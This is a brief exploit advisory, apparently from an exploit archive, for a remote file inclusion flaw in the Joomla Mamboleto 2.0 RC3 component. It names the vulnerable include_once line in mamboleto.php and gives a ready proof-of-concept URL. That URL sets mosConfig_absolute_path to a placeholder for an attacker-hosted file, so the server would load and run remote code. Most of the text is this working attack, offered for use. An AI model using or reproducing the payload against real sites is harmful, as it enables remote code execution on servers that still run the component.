Joomla Mamboleto Component 2.0 RC3 Remote File Include Vulneralbility

======================================================================
Joomla! Mamboleto Component 2.0 RC3 Remote File Include Vulneralbility
======================================================================

**************************************************************************/
 
[ Software Information ]
 
[+] Vendor : http://www.fernandosoares.com.br/
[+] Download : http://www.fernandosoares.com.br/index.php?option=com_docman&task=doc_download&gid=35&Itemid=28
[+] Version() : 2.0 RC3
[+] Novo Mamboleto 2.0 RC3 para Joomla! 1.5.x em "legacy mode".
    Muito mais aprimorado com dois bancos a mais  (Sicredi e Bancoob) e com um novo m?dulo de integra??o com o VirtueMart.
[+] Method : Remote File Inclusion
[+] Dork : Wie WiLL Not Go Down
 
===========================================================================
 
[ Vulnerable File ]
 
[+] mamboleto.php
 
Line 123
 
include_once( $mosConfig_absolute_path . '/administrator/components/com_mamboleto/include/pre.php');
 
[ Proof of Concept ]
 
http://server/acomponents/com_mamboleto/mamboleto.php?mosConfig_absolute_path=[INDONESIANCODER-666]
 
===========================================================================



#  0day.today [2018-01-11]  #